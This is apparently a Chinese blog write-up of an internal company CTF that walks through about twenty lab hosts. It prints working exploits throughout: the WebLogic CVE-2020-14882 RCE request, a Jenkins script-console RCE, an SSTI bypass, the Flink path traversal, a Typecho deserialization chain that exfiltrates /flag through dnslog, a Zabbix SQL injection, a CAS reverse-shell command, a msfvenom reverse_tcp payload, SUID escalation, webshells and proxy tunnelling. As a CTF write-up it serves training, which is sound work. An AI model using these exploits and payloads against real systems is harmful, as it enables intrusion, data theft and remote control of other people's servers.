公司内部CTF

  • 公司内部CTF已关闭评论
  • 19 views
  • A+
所属分类:CTF专场

第一次打CTF。大部分都是拿exp打过去就行了,而且部分无flag或者无漏洞的环境进行干扰,比较贴近真实环境,讲究的是在最短的时间内拿更高的分。

1.    (192.168.1.100)weblogic

/console/login/LoginForm.jsp

CVE-2020-14882+CVE-2020-14883

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThreadcurrentThread = (weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork();java.lang.reflect.Field field =adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Objectobj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req =(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds =System.getProperty("os.name").toLowerCase().contains("window")? new String[]{"cmd.exe", "/c", cmd} : newString[]{"/bin/sh", "-c", cmd};if(cmd != null ){ Stringresult = new java.util.Scanner(newjava.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next();weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(newweblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.1Host: 127.0.0.1:7001Connection:closecmd: whoami  

公司内部CTF

这题T3系列的反序列化也行,但不如直接回显方便,而且实战中环境出了问题,无法反弹shell。

根目录没有flag,只有一个readme

公司内部CTF

机器也完全不出网,readme直接cat乱码,记得大意是没有flag。

检测任务计划,发现备份。

crontab -l

查看sh文件发现ftp服务器的ip账户密码。

公司内部CTF

向servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war目录写入冰蝎马,做socks代理

2.    (192.168.1.102)SUID

使用weblogic的socks代理,用weblogic上获取的ftp用户登录ssh

公司内部CTF

但是没有权限读取flag

公司内部CTF

很容易发现是find的SUID提权

find / -user root -perm -4000 -print 2>/dev/null

公司内部CTF

find 1 -exec cat /flag ;

成功获取flag

公司内部CTF

3.    (192.168.1.82)jenkins

直接未授权RCE
/script
println("cat /flag".execute().getText())

公司内部CTF

4.    (192.168.1.55)SSTI

公司内部CTF

只有一个简单的过滤,{{xxxxxxx__xxxxxxx}}这种形式无法通过,直接不用双大括号即可

{%print(x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('catflag').read()"))%}

公司内部CTF

5.    (192.168.1.79)XXE

微信管家,admin/123456弱密码进后台。在公众号测试功能中存在XXE

公司内部CTF

有防护,UTF-16绕过即可,可以见我的XXE文章

公司内部CTF

6.    (192.168.1.41)Apache Flink

弱密码登录,CVE-2020-17519即可
/v1/jobmanager/logs/..%252f..%252f..%252f..%252fflag

公司内部CTF

7.    (192.168.1.41)kibana+php

phpweb是一个黑页,意思是网站被黑了

公司内部CTF

用Kibana搜索日志,直接看一年的日志

/app/discover

可以找到两个后门

公司内部CTF

这个被删除了。

公司内部CTF

upload111.php还在,需要用这个上传webshell

公司内部CTF

找到flag

公司内部CTF

8.    (192.168.1.78)php

扫到个www.zip下载下来,有个index.php

公司内部CTF

eval改成var_dump

公司内部CTF

替换掉源文件中的【eval(xxx);】,继续eval改成var_dump

反复多次后。获得混淆的源码

<?phpclassA{    var $test = "demo";    function __destruct(){        @eval($this->test);    }}$test= $_GET['test'];$len =strlen($test)+1;$pp ="O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}";$test_unser= unserialize($pp);?>

其实就是个eval($_GET['test']);的后门

公司内部CTF

由于复现环境不出网(现在已出网),因此只能使用reGeorg,weblogic的代理不好用,现在获得了一个php环境,于是做代理。

但是/var/www/html目录不可写,因此只能写在/tmp/tunnel.nosocket.php,然后获取socks5代理

python neoreg.py -k 123456 -p 5667 -u http://2.2.2.2/index.php?test=include(%27/tmp/tunnel.nosocket.php%27)

9.    (172.16.1.77)typecho

php混淆那台有双网卡,因此可进入第二层网络,typecho存在php反序列化

公司内部CTF

由于报500无回显,而且不出网,使用dnslog将flag带出。

(现在已出网,出网可以反弹shell也可以用curl带出flag)

<?phpclass Typecho_Request{    private $_filter = array('system');    private $_params = array('screenName'=>'ping -c 1 `cat /flag`.jvzluu.dnslog.cn');}class Typecho_Feed{    const RSS1 = 'RSS 1.0';    const RSS2 = 'RSS 2.0';    const ATOM1 = 'ATOM 1.0';    const EOL = "n";    const DATE_RFC822 = 'r';
private $_baseUrl ='1'; private $_feedUrl ='1'; private $_lang = '1'; private $_subTitile = '1';
private $_type = 'RSS 2.0'; private $_items ;
public function __construct(){ $this->_items = array( array( 'author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715', 'content' => array(1,2), ) ); }
}$config['adapter'] = new Typecho_Feed();$config['prefix'] = '1';echo base64_encode(serialize($config));

公司内部CTF

10.    (172.16.1.145)JeeSite

我很久很久之前的一篇文章就提到过这个cms低版本有shiro反序列化,但实际打CTF的时候这题居然没做出来。

公司内部CTF

11.    (172.16.1.8) SSH

ssh爆破,公司内部常用账户密码lxxxxp/xxx1234。

公司内部CTF

12.    (172.16.1.55) zabbix

实际的时候没做出来,知道是注入但稍微试了下就知道是模糊性非常强的WAF,这种WAF绕起来太费时间了,可能还需要写脚本盲注,就没有花太多时间。但实际还是挺简单的。
存在CVE-2016-10134,SQL注入,且需要用分块传输的畸形数据包绕过ModSecurity

POST /zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,(select%20concat(name,0x3a,passwd)%20from%20%20users%20limit%200,1),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 HTTP/1.1Host: 172.16.1.55Transfer-Encoding: Chunked
1;aa0

公司内部CTF

账户密码登不进去,建议注出session

(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)

在后台添加flag脚本

公司内部CTF

找到主机运行之

公司内部CTF

公司内部CTF

13.    (172.16.1.71) weblogic

环境更新后已出网,因此这题做起来简单一点。CVE-2021-2109+CVE-2020-14882
java -jar JNDIExploit-v1.11.jar  -i 0.0.0.0

GET /console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&handle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.241;95:1389/Deserialization/Jdk7u21/WeblogicEcho;AdminServer%22) HTTP/1.1Host: 172.16.1.71:7001cmd: id

公司内部CTF

这台可建立socks隧道向下一层内网进发

14.    (172.16.1.41) CAS

CAS反序列化,可以出网的话直接弹shell

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections2 "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}"

公司内部CTF

公司内部CTF

公司内部CTF

15.    (172.16.1.88) JumpServer???

下好火狐或者谷歌的websockets插件Simple Web Socket Client
ws://172.16.1.88/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}
寻找log泄露的凭据

公司内部CTF

公司内部CTF

利用凭据访问/api/v1/authentication/connection-token/?user-only=None接口获取token

POST /api/v1/authentication/connection-token/?user-only=None HTTP/1.1Host: 172.16.1.88Content-Type: application/jsonContent-Length: 152
{"asset": "XXX", "system_user": "XXX", "user": "XXX"}

公司内部CTF

token 20s内有效,用token去访问

ws://172.16.1.88/koko/ws/token/?target_id=xxxxx

但这一步失败了,不知道是不是环境问题

16.    (172.16.1.94) Apache Flink

CVE-2020-17518,直接用msf生成恶意jar包再上传即可

msfvenom -p java/meterpreter/reverse_tcp LHOST=2.2.2.2 LPORT=5667 -f jar > rce.jar

公司内部CTF

公司内部CTF

但这题也没有flag

17.    (10.180.1.23) spring boot

/env和/heapdump都无法利用,在/trace中泄露session和路由

公司内部CTF

后台是一个最简单的命令注入

公司内部CTF

18.    (10.180.1.24) jdwp

这个漏洞我有篇文章提到过,结果实战中没扫到端口(扫描器的问题)

python jdwp-shellifier.py -t 10.180.1.24 -p 8000  --break-on "java.lang.String.indexOf--cmd "whoami"

公司内部CTF

公司内部CTF

19.    (10.180.1.19) OPS

翻js可以发现一个低权限的任意文件读取接口

公司内部CTF

读/flag不存在

公司内部CTF

读/proc/self/environ,当前用户为opsuser

公司内部CTF

读/proc/self/cmdline,找到源码位置

公司内部CTF

通过这个漏洞下载源码,如果因为代理下不下来,可以先curl到172.16.1.71上,再curl到192.168.1.78上。
审计源码,发现账户密码硬编码在LoginController中

公司内部CTF

登录之后发现可以看到10.180.1.20ifconfig,并且标识了/flag主机,大概意思是19这台没有flag

公司内部CTF

再看代码中的HostController

公司内部CTF

20这台机器是台saltstack机器,可以通过run路由远程执行命令,但这里的username/password/eauth和login的并不相同,而且jar包中也没有发现相关赋值。

公司内部CTF

这里getsaltstatus路由还有一个有意思SSRF

公司内部CTF

会发一个POST包,如果目标地址不存在401 Unauthorized,就将内容保存在/tmp/ops.log中。

20.    (10.180.1.20) saltstack

似乎有非预期解,存在一个漏洞利用链, https://paper.seebug.org/1491/

最后看正确答案是通过SSRF访问http://127.0.0.1:8001/config/default获取正确的username/password/eauth。
源码中有配置文件但被我忽视了。

公司内部CTF

直接访问会报405

公司内部CTF

POST方法不对,要用GET,那么用VPS 302中转。

http://10.180.1.19/getsaltstatus?target=http://x.x.241.95/302.php?s=http%26ip=127.0.0.1%26port=8001%26data=config/default

log中出现记录。

公司内部CTF

使用正确username/password/eauth

公司内部CTF

相关推荐: 2021陇剑杯网络安全大赛-webshell

题目描述: 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 解题思路: 3.1黑客登录系统使用的密码是[email protected]#。 3.2黑客修改了一个日志文件,文件的绝对路径为_/var/www/html/data/Runtime/Log…